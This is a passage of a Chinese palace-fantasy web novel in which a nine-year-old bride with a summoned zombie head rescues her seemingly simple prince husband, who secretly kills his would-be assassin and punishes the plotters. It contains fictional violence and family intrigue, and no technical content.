“谁知道呢。”
司徒砚懒洋洋地说着,甚至打了个哈欠。
游戏结束,也是时候把玩具“整理”一下了。
他抬起手,视线忽然落在手指上,英气的眉微微蹙了下。
他记得方才这只手捏过那“玩具”的手腕,脏得很。
想到这里,司徒砚眼中闪过一抹嫌弃,习惯性地伸手从袖中掏帕子,结果掏出来的却是一抹粉白色的帕子。
视线落在帕子上那朵小红花的时候,司徒砚不由愣了下。
记忆中模糊的,有个小身影将帕子塞给他,脆生生糯软软地叮嘱。
“手脏了要擦干净,不可以用脏手去吃东西知道吗?”
那个扎着双髻的小脑袋晃啊晃的,头上铃铛轻响。
带着鞭痕的小脸上乌眸如水,仿佛能轻易地洗净人心底最深处的罪恶。
司徒砚顿了顿,忽然将那帕子又收起来,抬头看向奄奄一息的男人。
“你该感谢,今日我不想染血,所以才能让你这么轻易的去死。”
他抬起手,就在准备动手的时候,忽然听见山林中响起熟悉的声音。
“司徒砚——”
“你在哪里啊!”
有人来找他
了!
司徒砚嘴角下意识勾了下,接着,最后看一眼男人,冷声道:“你该去死了。”
说完,修长的手指扣紧男人的咽喉,毫不犹豫地用力一拧!
男人甚至没来得及说出最后一个字就咽了气!
司徒砚转头看一眼身后的山林,抬脚随意地将碍眼的尸体从瀑布崖边踢下去,而后靠在那方紧挨悬崖的石头上,微微闭上了眼睛。
——
时间回溯到半个时辰之前,谢元棠骑着乌骓马,一路马不停蹄地直奔山林。
她没有来得及告诉红蕖的是,房间里她还闻见了蒙汗药的味道,只是药味太轻,并不能确定。
而且她才九岁,就算将这个发现说出去,只怕也没几个人会相信。
她只能站在敌人的角度想,如果她是背后那人,如果她想要司徒砚死,那么最好的办法是什么?
第一,不能让人发现是自己的身份,不能留下任何线索。
第二,最好能嫁祸给对手,或者伪造成司徒砚自己不慎死亡。
第三,时间要快,必须敢在最短时间内做完这些。
满足以上三个条件,那么那人将司徒砚带走,会去的地方也就那么几个了。
不是司徒砚的敌人的住处,就是山林这种自然凶险的地方。
如果是前者,根本没必要等到围猎的时候动手,所以大概率是将司徒砚带去了危险的地方,想伪造成他失足死亡的假象。
当然,这些都只是谢元棠的猜测,所以她才没有带人来,而是让红蕖等人接着找,找不到了再求助司徒擎和言关清。
而她自己单独行动,很多事情也方便操作。
“咔,咔……”
谢元棠驱马入林,抬手就从空间研究室里召唤出零号小丧尸的脑袋,冷声下令:
“闻一闻附近哪里有血腥味。”
丧尸这种半死不活的生物,对人气和血腥味最是敏感。
她前世将那群丧尸收编成自己人后,不知道靠着它们救下多少伙伴。
只可惜她如今身体弱,没办法召唤出更多的丧尸来,只能叫出来零号一个。
“咔咔咔……”
零号脑袋僵硬地活动着,忽然对着密林深处咔吧着嘴。
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谢元棠
眼眸骤沉,打马急驰:“小乖,快!
乌骓马在她身下乖得如通灵性,嘶鸣一声载着她就往深处冲。
“咔,咔……
越往深处,零号小丧尸的反应越激烈,谢元棠的脸色就越难看。
这代表那边有血腥味,而且还是越来越浓的,新鲜的血液!
谢元棠咬了咬牙:“司徒砚,你最好给我撑住了!
她可还要靠着他打翻身仗呢,要是他这么快就嗝屁了,那她投入的沉没成本就收不回来了!
小乖快速地穿梭在树林中,时不时地,树枝和藤蔓擦过谢元棠的胳膊和双腿,带出些许的擦伤来。
谢元棠脸色有些苍白,额头和脸颊全是汗水,拉着缰绳的小手不住的颤抖!
她一路骑马赶来,幼小力弱的身子早就已经撑不住了,甚至能将零号召唤出来都耗费了她很大的精神力。
但她却一点也不敢停下。
生怕停下一秒,再见到的,就是她那傻夫君的尸体。
山林深无尽头,谢元棠有些着急,正想加快速度,忽然一个不慎径直从马上摔下来。
“啊!
小小的身子滚落在地,谢元棠气得大喊:“司徒砚——
“你在哪里啊!
没有人回应她。
谢元棠咬紧唇,站起身爬到小乖背上,一手抱紧零号,再次往前走。
这次没走多远,就看见了山林的尽头,还听见了水流的声音。
“咔咔!
零号发出声响,其实不用它提醒,谢元棠自己就已经闻到了那浓重的血腥味。
“司徒砚!
谢元棠连忙下马,踉踉跄跄地跑过去。
山崖边,清泉瀑布垂挂的那块方石下,倒在一个熟悉的身影。
谢元棠怔了下,眼睛一亮急忙跑过去:“司徒砚,醒醒!
她扑上去,先探鼻息,等感觉到那抹微弱却稳定的呼吸后,她才彻底松了口气。
而后刚想从研究室拿营养液出来,还没来得及动手,就看见她的傻夫君睁开了眼。
清澄的桃花眼比山泉还要清澈干净,嗓音低哑,好似才睡醒似的。
“娘子?你怎么了?
“我怎么在这里……
第29章 娘子会讨厌我吗?我…也不是经常犯病的…
那双桃花眼中先是迷茫不解,再看见谢元棠身上那些狼狈的伤口,更加急了:“娘子受伤了!”
他左右看看,最后又低头看着自己的双手,还有身上那点血迹,俊美的脸忽地渐渐苍白,结结巴巴地问:“是,又是我做的吗?”
“难道是我发病,伤害了娘子……”
“不是你!”
谢元棠不知道他这么会联想,一爪子拍在他额头上:“你还没这本事,少乱想了。”
她把过司徒砚的脉,见他真的没事,才彻底放了心。
两人挪到干净的树下坐着,司徒砚像只犯了错的大狗,低着头乖乖跪坐,一声不敢吭。
谢元棠看着他这样,好笑地伸手捏捏他的脸颊:“哎呀,夫君怎么这么乖了?”
两人一个调侃得自然,一个乖顺得习惯,丝毫没觉得一个小孩子如此对待一个大人有什么怪异的地方。
处处怪异,却又古怪的和谐。
谢元棠靠在树干上恢复,司徒砚来回跑了好几趟,浸湿干净的帕子,轻轻替她擦拭胳膊和小腿上的擦伤。
谢元棠缓过劲儿来,才仰头看着他,问道:“还记得发生什么事了吗?”
司徒砚摇摇头,又顿了下迟疑道:“好像看见一个黑影……”
其实他有些不确定,但模糊的记忆中似乎有一个影子倒在瀑布前,而且……
他好像还看见“自己”站在那里……
不知道想到了什么,司徒砚拿着帕子的手忽然颤了下,小声道:“娘子,我是不是一个坏蛋?”
“为什么这么说?”
“我不知道,我……想不起来了,但是感觉很可怕……”
他声音有些不自然,谢元棠想起他刚才那句“又是我做的吗”,眉眼微微暗沉。
司徒砚会发作疯病,这是原主的记忆中告诉她的,也是玄昭国人人皆知的事实。
谢元棠低头看了眼他衣摆上的血迹,那血迹和暗红色的衣摆融合在一起,看起来不太显眼。
“你当然不是坏蛋了!”
谢元棠歪了歪脑袋,白白嫩嫩的小脸上露出纯净的笑容:“你是棠棠的夫君,棠棠是坏蛋吗?”
“不是!”
司徒砚想也不想就摇头道:“娘子最好了
娘子不坏!”
“棠棠不是坏蛋那棠棠的夫君怎么会是坏蛋呢?”
司徒砚愣了下好像觉得哪里不对又好像很对。
谢元棠拍拍他道:“好了你去牵小乖过来这里太危险我们先回去吧。”
“哦。”
司徒砚走过去牵马他身形修长从背后看每一步都走得稳而轻快。
谢元棠望着他的背影乌黑的眼眸暗暗闪了下。
其实整件事疑点很多既然有人将司徒砚带来了这里难道就是为了让他在这儿睡一觉吗?
她转头看着不远处的悬崖唯一的解释便是那人打算将司徒砚推下去却还没来得及动手就被她拦截了。
可……
这也太巧了吧?
还有司徒砚身上的血迹怎么看都不太正常。
“娘子小乖来了。”
熟悉的声音打断了她的思绪谢元棠抬头看着一脸单纯无害的傻夫君微笑着点点头刚想扶着树干站起身脚踝处就传来一阵刺痛。
方才摔马崴了脚这会儿才真正疼起来。
“娘子小心!”
司徒砚快步过来自然地弯下腰将她抱起托着她上马。
谢元棠小手揽着他的脖子一瞬间似乎闻见了山泉的凉意沁骨的寒。
两人一前一后坐在马上司徒砚小心的圈住她一边勒马往外走。
茂密的山林中一骑两人慢慢穿行。
“娘子它的头又动了!”
司徒砚指着挂在谢元棠腰间的零号好奇地指指他的嘴巴:“它为什么老看我?”
谢元棠正在想待会儿怎么应付外头的人
“啊?”
司徒砚呆愣地眨眨眼皱起了眉道:“可是我不喜欢它它有点丑。”
“我喜欢娘子!”
谢元棠轻笑了声问道:“六弟送的温玉呢?”
司徒砚愣了下第一反应是看自己腰间没找到才又疑惑地在
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怀里翻找。
“啊!在这里!”
他从袖子里掏出来的温玉桃花眼中又惊又喜:“我就觉得是在这里。”
“你自己放的自己不记得吗?”谢
元棠好笑问。
司徒砚有点懵像是问她又像是自问:“我放的?”
谢元棠见他这反应便没再多问。
她猜测司徒砚约莫是“发病”了所以才会有这些解释不清的细节。
但如今这都不重要因为他们很快要面对皇上了!
如果她所料不错这个时候红蕖应该已经见到了司徒擎而且顺利的话很快就会有人来找他们了。
谢元棠眼神微沉。
她不能让司徒砚“发病”的事被人发现如果真的坐实了他是个“疯子”那她这段时间的努力就会付诸东流了。
让皇帝容忍一个单纯可爱的傻子还有可能但让他容忍一个时不时发病的疯儿子那是绝没可能的!
谢元棠心思快速地转动着拉了拉司徒砚的手叮嘱他:“夫君待会儿父皇要问我们问题你知道要怎么回答吗?”
司徒砚困惑的摇头:“父皇为什么要问我们问题?”
谢元棠简单跟他讲:“因为你被坏人带走了父皇很担心所以派人来找你。”
“待会儿父皇问你发生了什么事你就说一个黑衣人带走了你然后你就睡着了什么都不知道剩下的什么都不要我我来说知道吗?”
司徒砚认真地听着听完后点点头乖巧道:“我记住了。”
他脸色有些黯然顿了顿小声问:“娘子我是不是给你惹麻烦了?”
谢元棠微怔。
司徒砚郁闷道:“都怪我记性不好总是记不住事情。”
“总是?”
谢元棠抓紧他是袖子沉声问:“这样的事情经常发生吗?”
司徒砚咬紧牙
谢元棠只是安静地看着他。
“哒哒……”
轻轻的马蹄声响起。
司徒砚反手抓紧了谢元棠的小手紧张无措地问:“娘子会讨厌我吗?我……也不是经常犯病的……”
第30章 不管夫君变成什么样,我永远不会讨厌你的
高大的忠犬像是被人抛弃惯了,眼中流露出恐惧和惶然。
谢元棠看着他的眼神,小脑袋摇了摇头,双髻上的铃铛步摇清脆作响,轻易地打碎了他的无助和恐惧。
“不会呀!”
稚嫩的小脸露出笑容,小小的一颗虎牙俏皮又灵动:
“不管夫君变成什么样,我永远不会讨厌夫君的。”
“嗡~”
霎那间,司徒砚仿佛听见了心底一道悠远深沉的声音。
好像破冰的玉泉,寒冬的暖阳。
他怔了怔,抬手捂住心口。
觉得那里,似乎没有从前那样冷了。
两人没走出林子,就遇到了司徒擎派来寻找他们的人。
谢元棠瞅准时机,在他们想要发问的时候瞬间一翻眼皮。
晕了!
司徒砚吓坏了,本来他还有些担心这些人会问问题,但谢元棠一晕,他心底那点怕瞬间全没了。
只剩下对怀中小身影的紧张。
“御医,御医呢?”
“让开,都给我让开!”
“快带路!”
众人也吓了一跳,但比起谢元棠的忽然昏倒,他们更震撼的是这位五皇子。
以往的司徒砚哪敢这样说话,可眼前这说一不二的人,当真是他们认识的那个傻皇子吗?
众人不敢反抗,急忙让出路来,带着两人出了林子。
等出了林子,见司徒砚想也不想就往他的住处走,侍卫首领不由蹙眉提醒道:
“五殿下,皇上有旨,您回来若是无事,要先去见他……”
“闭嘴!”
司徒砚头也不抬,一手抱着谢元棠,一手牵着缰绳,冷声道:“谁说我没事?你看不见娘子受伤了吗?”
侍卫:“……”
“愣着干什么,还不去找御医!”
“……是。”
等司徒砚将谢元棠带回住处的时候,御医也恰好赶到。
谢元棠本来是在装睡,但她实在太累了。
这身子才九岁,又长期营养不良,今天骑马这一遭简直快要了她半条小命。
所以司徒砚将她往床上一放,她就真的睡过去了,连想再叮嘱他两句都没来得及。
自然,她
也不知道自己这一睡,司徒砚竟胆大到敢抗旨了!
“嗯?他不来?”
司徒擎震惊地挑起了眉头,都有点怀疑自己的听力了。
“你说的是朕的五儿子,司徒砚?”
侍卫跪在地上,心里直叫苦,颤声道:“是,五殿下说……小皇妃受伤了,他要守着她,来不了。”
“呵。”
司徒擎轻笑一声,转头看向曲培:“你听见了,他如今倒是越发胆大了。”
曲培跟了他十多年,对他的心思摸得准,见他不是真的生气,便斟酌着道:“五殿下重情重义,实属难得,若是他扔下小皇妃不管,您又该气了。”
“哼,那小丫头又没事。”
司徒擎有点不满,他自然是知道两人都没有生命危险,才会派人去叫司徒砚过来的,谁知道这个胆小懦弱的傻儿子,竟然一反常态,连圣旨都不看在眼里。
曲培沉默片刻,状似不经意地说:“五殿下几次死里逃生,小皇妃当立首功。”
“上回冲喜还可说是意外,这一次……若非小皇妃,五殿下当真危矣。”
“朕岂能不知。”
司徒擎脸色微冷,抬手让那侍卫下去,才哼道:“有人暗地里想对砚儿动手,一次不行就两次,朕当朕是瞎了吗?”
“只怕……皇上您护得了五殿下一时,却无法时刻护住他,何况小皇妃也才九岁……”
一个皇子府,主子却一个傻,一个小。
再如何幸运,又能有几分自保之力?
司徒擎沉了脸,手指在桌案上敲了敲,终于开口道:“宣言关清。”
有些事,还是需要言家出马。
——
夜深。
谢元棠房间里却是灯火通明。
红蕖端着温水进来,看了眼靠坐在床头,眉眼紧闭的男人,轻声道:“殿下,您快去歇息吧,这里交给奴婢就行。”
听见声音,司徒砚缓缓睁开眼。
烛光下,那双桃花眼微微闪烁,红蕖一瞬间似乎在里面看见了许多的情绪,但一眨眼的功夫,却又变成了那个她熟悉的五皇子。
“不用。”
司徒砚眼睫微垂,声音清冷:“东西放下,你下去吧。”
红蕖愣了下,
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才点
点头应了声“是”。
她将脸盆放在床头小几上转身关门出去。
走到门口的时候本能地回头看了一眼却看见那个人人都道痴傻的皇子正小心翼翼地拿起湿帕子温柔地替床上的小人儿擦拭手指。
“嘎吱”一声房门轻轻阖上。
柔和的烛光微微晃动房间里一时间就只剩下谢元棠和司徒砚两人。
司徒砚低头看着床上熟睡的人儿。
她睡得极沉好像脸上身上的伤口都影响不了她的睡眠似的。
樱红的小嘴微微张着偶尔砸吧一下嘟囔几个他听不懂的音调。
司徒砚拿着浸湿的巾子轻轻替她擦拭脸颊上的汗水。
有几缕不听话的刘海湿哒哒地盖在她的眼皮和睫毛上他轻轻抬手修长的手指替她拂开。
“唔~困……”
“羽毛走开……”
司徒砚微怔恍然间似乎想起记忆中第一次见到她。
也是这般将他的手指当成了恼人的羽毛。
他轻笑唇角微微勾起愉悦的弧度声音宠溺道:“还真是个小孩子。”
谢元棠不知道自己睡梦中被人观望她正在梦里跟她的丧尸宝贝们玩耍。
忽地零号的小脑袋被当成球踢下了悬崖她急得叫出声来:“零号!零号……”
司徒砚疑惑地看着她紧皱着眉头小手抓着他的手指小嘴叭叭地嘟囔:“零号
零号?
司徒砚挑了挑眉看了眼床尾那个丑兮兮的小脑袋捏着它将它放在谢元棠手里。
两只小手瞬间抱紧了零号的脑袋再次心满意足地睡去。
司徒砚:“……”
他嫌弃地点了点零号的丑脸“啧”了声道:“脏不脏……”
“咔咔……”
零号嘴巴发出奇怪的声音司徒砚桃花眼顿时一凛冷声道:“闭嘴!敢吵醒她我剁了你!”
零号:“……”不知道是不是真的听懂了他的话总之那嘴巴再也没有出过声。
司徒砚这才看向谢元棠想起她在林中说过的话若有所思地问:
“不管我变成什么样你都永远不会讨厌我吗?”
半晌他又自嘲一笑抬手替她掖了掖被子。
“小东西才多大净说大话。”
第31章 夫君出手!下地狱吧!
五月的夜风已经带了夏的燥热。
围猎场周围的虫鸣声比皇子府中更多更响亮,还有远处林子里隐约传来的狼嚎。
谢元棠睡得不算踏实。
总感觉有只大丧尸在旁边,目不转睛地盯着她!
可是末世那只丧尸BOSS不是已经被她拧断脖子了吗?
尸体还在她解剖室摆着呢!
又诈尸了?
谢元棠糊里糊涂地想着,身体沉重得要命,她挣扎着撑开眼皮,想看清是不是那只丧尸跑出来了。
视线模糊中,一道熟悉的人影坐在那里,桃花眼温柔又复杂地看着她。
“怎么了?”那人轻声问,“可是伤口疼?”
“唔……”
谢元棠吧唧了下小嘴,嘟囔道:“原来大丧尸是你啊。”
说完翻了个身,抱住零号的脑袋又睡了。
迷迷糊糊间,她恍然觉得,今日傻夫君看起来怎么这么聪明又体贴的亚子?
司徒砚看着卷住被子翻身睡着的小人儿,微微愣了愣。
他是大桑食?
什么东西?吃的吗?
见谢元棠睡得沉,司徒砚给她盖好被子,转身轻声走了出去。
深夜,一道暗色的身影在月光下一闪而过,快得让夜间值守的守卫都没反应过来。
围猎场再大也不同于京城皇宫,在这里,基本上皇室家眷的住处相隔都不太远。
黑影几个起跃,没费多大力气便轻而易举地落在其中一个院子里。
院中灯火暗淡,但主屋竟还亮着,透过窗户看见里面两道人影一坐一站,明显还没有睡下。
“嬷嬷,本宫这心里总也不踏实,你说……他会不会发现了?”
“您多虑了,咱们用的又不是自己人,就算发现……”
微微苍老的声音带着狠意,顿了顿道:“他们也只会发现那位的线索,怎么也查不到咱们这里。”
“可……”
清寒的女声夹杂着忧虑,叹息道:“你又不是不知道他有多厉害,此次事情没成,万一他知道背后动手的是我,那……”
“怕什么?依奴婢看,他根本不可能醒过来,否则早就……”
“咚!”
老嬷嬷话没说完,忽然
身体一个僵直,“咚的一声倒在了地上。
主座上的女人吓了一跳,不可置信地望着忽然出现在面前的男人:“你,你怎么会……
“怎么会醒来?还是怎么会找上你?
烛光下,司徒砚完美如雕刻的侧脸泛着冷光,薄唇带着三分讥讽。
“真当我是傻子了,以为谁对自己动手的都不知道?
“不,我没有……
女人脸色苍白,双手紧紧扣着椅子的扶手,连站起来的力气都没有,更不敢喊人。
司徒砚缓缓迈动脚步,走到离她两米远的距离,慢慢地抬起手,而后。
“啪!
衣袖带动风力,反手扇在女人的脸颊上。
女人惊呼一声,捂着被打肿的脸颊,扭过头瞪着司徒砚:“你打我?你忘了你发过的誓言吗?你不能动我……
“你让她受伤了。
司徒砚冷声打断她的话。
女人怔了下,后知后觉他说的是谁,不由惊讶:“你会在乎一个小孩子?那小丫头……
“她如何还轮不到你置喙。
司徒砚寒凉的眼神警告地扫过她:“这是最后一次,再有下回,你便下地狱去跟她讨要你的誓言吧。
说罢,他转身欲走,低头看了眼倒在地上的嬷嬷,想起谢元棠身上那些伤,顿时怒从心起,抬脚一脚踩在她的小腿上。
“啊啊啊啊!
昏倒的嬷嬷一时又痛得醒了过来,捂着小腿冷汗淋漓。
她惊恐地看着如魔鬼降临在她眼前的男人,结巴着求饶:“五,五殿下……饶饶命……
司徒砚冷哼一声,嫌恶地踹开她,转身从正门离开。
只留下一句话。
“这次断你一条腿,算是赔她的利息。
——
谢元棠还不知道她的几道擦伤和脚伤,竟换了一条腿。
翌日,她睡到日上三竿,才懒洋洋起床。
“皇子妃,您醒了。
红蕖看见她醒来,顿时松了口道:“您可算是醒了,不然奴婢都不知道该怎么办了呢。
“怎么了?
谢元棠奇怪地看她,想起什么
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又问:“夫君呢?
“殿下正陪着言
太傅喝茶呢。”
红蕖一边帮谢元棠穿衣服,一边答道。
“哦。”
谢元棠敷衍地点点头,等一条胳膊伸进了袖子了,才反应过来她说了什么,顿时猛地抬起头:“啊?”
陪谁喝茶?
看着自家小皇妃迷茫的大眼睛,别说旁人,红蕖的心都要暖化了,笑着道:“您没听错,正是言太傅来了呢。”
“本来奴婢想叫您起的,是殿下说不准吵您。”
红蕖说着,想起司徒砚方才的样子,不由笑意更深,朝谢元棠道:“小皇妃,殿下对您可在乎了呢。”
不管是昨日还是今天,痴傻五皇子为了小皇妃一反常态的事情,已经传遍了整个皇室了。
可惜这会儿谢元棠可顾不上听她说司徒砚的“壮举”,她急忙穿好鞋,一边让红蕖给她梳头一边问:“舅舅来多时了?这会儿还在?夫君一直陪着吗?没乱说什么话吧?”
“您别着急,什么事都没有呢。”
见自家小皇妃急了,红蕖连忙哄着道:“言太傅半个时辰前来的,应该也是想等您醒来,所以一直坐在前头没走,这会儿正跟殿下聊着他去学堂的事情呢。”
没出纰漏就好。
谢元棠松了口气,万一给言关清发现昨儿司徒砚失踪的事情有猫腻,只怕这个言家的助力她还没争取到,就得泡汤了。
红蕖快速替她梳好头发,谢元棠起身就想往外跑,奈何脚伤还有点疼,只能慢腾腾往外走着。
红蕖见她着急,不由蹲下道:“小皇妃别急,要不……奴婢抱您去?”
谢元棠实在太小,他们这些伺候在身边的,虽将她当主子看,却也是下意识地宠着她。
谢元棠点点头,伸出小胳膊道:“红蕖姐姐,辛苦你快一些,舅舅那人心眼子太多了,我担心夫君说不过他。”
红蕖好笑地应了声,抱起她快步走去前厅。
刚进门,谢元棠就听见言关清的声音:“这么说是元棠教你写的字?”
谢元棠乌溜溜的眼珠子转了几转,从红蕖身上下来,笑容靥靥地走进去,开口甜甜地喊:
“舅舅舅舅~”
第32章 舅舅带都带来了,再拿回去多沉啊
言关清正问着外甥习字的事情,忽听到一声清脆甜腻的声音。
他下意识转头,看见那道穿着浅黄色衣裙的小身影踉踉跄跄地走进来,迎着上午的阳光,像一只全身都披了暖霞的小福禄童子。
言家子孙单薄,他已经许多许多年没有见过这样可爱的孩子了,记忆中,有人这般依赖又娇气地唤他哥哥,还是很久远以前的事情。
言关清思绪一瞬间飘起,还不及反应过来,就看见那个傻愣愣的外甥已经快步走了过去,弯腰自然地牵住谢元棠的小手,皱眉问道:“走快,脚不疼?”
谢元棠笑嘻嘻地摇摇头:“一点点啦,舅舅来了夫君怎么不叫醒我?”
司徒砚还是摇头:“你受伤,御医说要休息。”
谢元棠就觉得,傻夫君似乎还挺拗的。
两人一大一小,步伐却出奇地和谐。
言关清坐在那里看着,清冷的眼神微微缓和。
或许,这桩婚事歪打正着,真的是对了。
他勾了勾唇,就看见谢元棠没有坐在对面,而是拉着司徒砚坐在了自己身旁的椅子上。
“舅舅舅舅,你怎么来了呀?昨天你也来了吗?我睡着了不知道。”
“对了,我昨天还让人去找舅舅了,舅舅见着人了嘛?”
小丫头跟个小鹦鹉似的,翘着小短腿坐在椅子上,嘴巴叭叭得说个不停。
声音清凉凉,软糯糯地,倒也不惹人烦。
言关清就觉得,嗯……
好像是比跟傻乎乎的外甥说话更有趣些。
“听说你伤着,便过来瞧瞧,人见着了,你做得很好。”
言关清言简意赅,一句话答了她所有的问题。
说罢,看了眼旁边低头帮她摆弄袖子的外甥,又别有深意道:“昨儿倒是没来,毕竟……连皇上都见不到人,我自认也不敢来讨嫌了。”
“啊?”
谢元棠眨巴着机灵的大眼睛,歪了歪脑袋露出几分疑惑来:“舅舅说的话我怎么听不懂?父皇怎么会见不到人?他是皇帝,谁敢不让他见?”
言关清轻笑道:“那就要问你旁边的人了。”
谢元棠愣愣地转头,司徒砚倒是听出言关清在说他昨日的事,见谢元棠看过来,皱了皱眉道:“
你受伤,父皇让我去,我不想去。”
谢元棠:“……”
她惊得张大了嘴巴,半天不知道该说什么。
司徒砚小心翼翼看着她:“娘子生气了?”
“没有呀,就是觉得……”
谢元棠咧着嘴一笑,朝他比了个大拇哥:“夫君好厉害,旁人可没这胆子!”
言关清摇摇头,他就说这一傻一小,每天跟过家家似的,瞧瞧,一个有谱的都没有。
“胡闹,这算什么厉害?”言关清故意道。
司徒砚愣了下,看看言关清,又看看谢元棠:“娘子,我是不是惹祸了?”
“才没有嘞~”
谢元棠伸出小手指头戳戳他的脸颊:“夫君为了我才抗旨的,这是有情有义,而且父皇让你去也就是问问情况,你能坚持己见,说明你有主见有想法,敢于跟父皇说不,说明你勇敢!”
她毫不吝啬的夸赞和肯定让司徒砚呆了呆,原本有些迟疑的桃花眼在这一刹那,仿佛注入了光亮,绽开璀璨的光芒。
“真的吗?”
司徒砚眼睛亮堂堂地,像急需要被主人肯定的宠物犬,摇晃着尾巴期待地看着她。
“当然了!”
谢元棠两只小爪子不客气地搓搓司徒砚的俊脸,笑嘻嘻道:“这般有情有义,有想法又勇敢,还能长得这样美的,全世界都找不出来第二个呢!”
“所以夫君不要怀疑,你真的很好很好哦,全世界第一好!”
说完,想起什么,话一顿又补了句:“当然,比起我还是差了点的,我第一,你第二!”
两人真就一个敢说,一个敢信!
言关清坐在旁边,听着两人幼稚的对话,先是好笑地摇头,随后却又无声地叹息。
或许他们都错了,司徒砚真正缺的不是智力,而是被人肯定。
他伸手,轻轻拍拍谢元棠的头发道:“元棠很好,说的……也有道理,你听她的就好。”
司徒砚认真点头:“娘子说得都是对的。”
言关清:“……”倒也不必这么听话。
“舅舅,你只是来看我们的吗?”谢元棠好奇地问。
她总觉得以言关清这种大忙人的行程,如果不是有事要说,是不可能专门腾出一个时
辰来这里的。
看着机灵巧动的小丫头言关清笑笑:“倒是瞒
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不过你我来这里确实有两件事。”
“第一
言关清将带来的锦盒递给谢元棠笑着调侃道。
谢元棠知道“份子钱”这件事定是传到了他耳中不由小脸微红道:“舅舅不要笑话我们啦本来也不是故意要的那日被四皇兄缠住了才扯出这么一遭来更不敢要舅舅的钱了。”
言关清挑了挑眉故意道:“既如此那我带回去……”
话没说完就看见谢元棠两只小手十根指头紧紧地按住锦盒黑葡萄似的大眼睛眨巴眨撒娇道:“舅舅棠棠真的没想要哦棠棠只是好奇舅舅里面放了什么真的只是好奇哦~”
“而且……舅舅带都带来了再拿回去多沉啊~”
“小滑头。”
言关清没好气地白了她一眼:“罢了原本也是给你们的。”
话音刚落就看见谢元棠“嗖”一声抢过锦盒塞进了司徒砚怀里笑着道:“谢谢舅舅~”
司徒砚学着她眨眨眼捏着嗓子拉长尾音:“谢谢舅舅~”
言关清:“……”
总感觉外甥要被这小滑头教坏!
他叹了口气将怀中的黑木令牌拿出来递给谢元棠:“第二件事便是给你们这个令牌以后有事直接拿着它去言家找我便是。”
“言家再如何落魄也不至于护不住你们两个小鬼。”
谢元棠惊讶地睁大了双眼。
这意思是……言关清和言家愿意成为他们的助力了?
谢元棠接过令牌想了想问:“舅舅是只帮夫君还是棠棠有事舅舅也会帮忙呢?”
言关清没想到她有此一问挑眉道:“看你什么事。”
谢元棠犹豫再三心里那件放了许久的事还是没忍住问了出来:“舅舅可认识华觉寺的住持?”
言关清微怔。
司徒砚急道:“娘子的娘亲在那里舅舅帮她。”
“谢夫人?”
言关清眉头微蹙他和谢兆青同朝为官对谢家的事情多少也有些耳闻。
尤其冷蕴菀并不单单是谢兆青的夫人。
他看了眼谢元棠道:“华觉寺住持不是坏人你暂时可以放心至于你娘亲……”
顿了顿他才斟酌着开口:“看你打算如何做了或者说这到底是大人的事你得问她打算如何做如果她真的有打算其实未必需要你来求助我。”
谢元棠微愣。
第33章 第一眼就看见了这个一脸倒霉相的活爹!
一直到言关清离开后,谢元棠还在思考他的话。
“只要娘亲愿意,甚至不需要言家的帮忙……”
她托着腮坐在椅子里,低着头自言自语:“难不成娘亲母族很厉害吗?”
原主回谢家的事情不久,她在原主的记忆中也只隐约知道这位娘亲曾经是大小姐出身,至于别的那是完全没线索。
冷家……
京城贵族有这个姓氏的吗?
她问红蕖,红蕖回忆片刻摇头道:“奴婢印象中好像没有。”
红蕖是宫里出来的,她能知道的都是达官贵人,如果她都不知道,那就算有这个冷家,只怕也是已经落败的。
“不过……”
红蕖犹豫半天,不确定地道:“姓冷的以前倒是有一位,但后来那位好像得罪了陛下,被罚举家离京,听说此生家族后人无诏不可回京。”
“这么惨?”
谢元棠心里一咯噔:“那家人叫什么名字,家中都有谁?”
红蕖看了眼门外蹲在檐下不知道玩什么司徒砚,凑到谢元棠耳边小声道:“冷枕山,以前是个大将军,听说曾是皇上跟前的红人呢。”
“至于冷家家中都有谁奴婢就不晓得了。”红蕖尴尬地挠挠头,“这都是许多年前的事了,奴婢也就听宫里的老人提过一嘴,小皇妃若是想知道,等回府问一下白芙姐姐,她比奴婢聪明得多,许知道得多些。”
谢元棠点了点头,心下默记下了“冷枕山”的名字。
因着司徒砚昨日的事,原本的围猎推迟到了今日下午。
吃过中饭,谢元棠便催着人去牵马,一扭头却看见司徒砚别别扭扭地站在门口,大手抠着门框,英气的眉蹙着,想说又迟疑的样子。
“怎么了?”谢元棠捂着嘴好笑地看着他,傻夫君实在太好懂,任何情绪都写在脸上。
偏偏这张美人面着实好看,总让人想逗逗他:“夫君可是不想去?”
司徒砚点点头,又摇摇头:“想骑小乖,也想跟娘子玩。”
谢元棠就懂了:“但是你不想见其他人是吗?”
司徒砚担心地看了眼谢元棠的脚:“他们都在,很多人的……”
这次可不同于之前只见到老四和老六两个,除了太子司徒阆和三皇子
司徒墨没来众位皇子和公主可以说是大集合。
不需司徒砚多说谢元棠就能猜到这些人从前是如何看待他的。
但这一次他们必须出场!
“夫君你过来。”
谢元棠拉住他的手道:“你还记得你之前说过的话吗?夫君说要保护棠棠的。”
“嗯保护娘子。”司徒砚重重地点点头又看了眼谢元棠的脚“娘子脚受伤了还是不要去……”
“可我们今日不去他们会当我们怕了以后就会越发欺负我们的难道夫君想看棠棠被他们欺负的样子吗?”
谢元棠一句话堵住了司徒砚的口还拿令牌在他眼前晃了晃:“夫君不必害怕有舅舅给咱们撑腰呢夫君只要记得不管谁跟你说话你都不要低头如果你说不过他就冷眼瞪着他其他的我来说。”
“嗯嗯我记住了瞪他!”
司徒砚桃花眼睁大:“娘子
他眼睛睁大看着不像瞪人倒像是让人手痒想挠的小猫。
谢元棠“噗”一声笑出来:“眯起来不要那么用力。”
她教着司徒砚怎么瞪人更有气势那边红蕖牵了马过来听见声音的司徒砚一个回身微眯着桃花眼冷眼扫过去吓得红蕖立刻僵住了:“殿殿下?”
“怎么了?”司徒砚问他身后谢元棠探出小脑袋来“你结巴什么?”
红蕖剩下的那半口气这才松出来紧张地直拍胸口:“不知道刚才殿下看奴婢一眼怪吓人的奴婢一时没反应过来。”
谢元棠没瞧见他方才的眼神只当红蕖是夸大其词便乐呵呵道:“是我教的怎么样够唬人吧?”
红蕖连连点头心说那何止唬人都快能刀人了!
“走吧走吧这么大的阵仗咱们可别迟到了!”
谢元棠新匆匆就要往外跑还没等跳下床就被两只强壮有力的胳膊就圈起来了。
“脚疼我抱娘子走。”
司
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徒砚微微勾唇谢元棠也习惯了他这个“坐骑”当下很熟练地圈住他脖子道:“快走咱们干架去!”
走在后面的红蕖听见这话差点没一个磕绊摔下去。
娘诶!
合着您就
没打算老老实实的,过去就是找事儿的是吧!
偏偏另一个主子傻乎乎地点头附和:“嗯嗯,干他丫的!
红蕖:“……完球!
